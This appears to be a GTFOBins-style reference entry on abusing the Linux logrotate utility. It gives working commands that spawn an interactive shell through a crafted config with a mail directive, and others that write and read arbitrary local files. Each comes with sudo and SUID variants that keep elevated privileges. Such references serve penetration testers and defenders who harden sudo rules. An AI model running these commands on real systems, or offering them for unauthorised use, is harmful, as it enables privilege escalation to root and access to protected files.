logrotate

Shell

This executable can spawn an interactive system shell.

CommentThis command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
```

File write

This executable can write data to local files.

CommentThe content is written in a log file.
Unprivileged
This function can be performed by any unprivileged user.
```
logrotate -l /path/to/output-file DATA
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
logrotate -l /path/to/output-file DATA
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
logrotate -l /path/to/output-file DATA
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

File read

This executable can read data from local files.

CommentThe first word is returned in a error message.
Unprivileged
This function can be performed by any unprivileged user.
```
logrotate /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
logrotate /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
logrotate /path/to/input-file
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.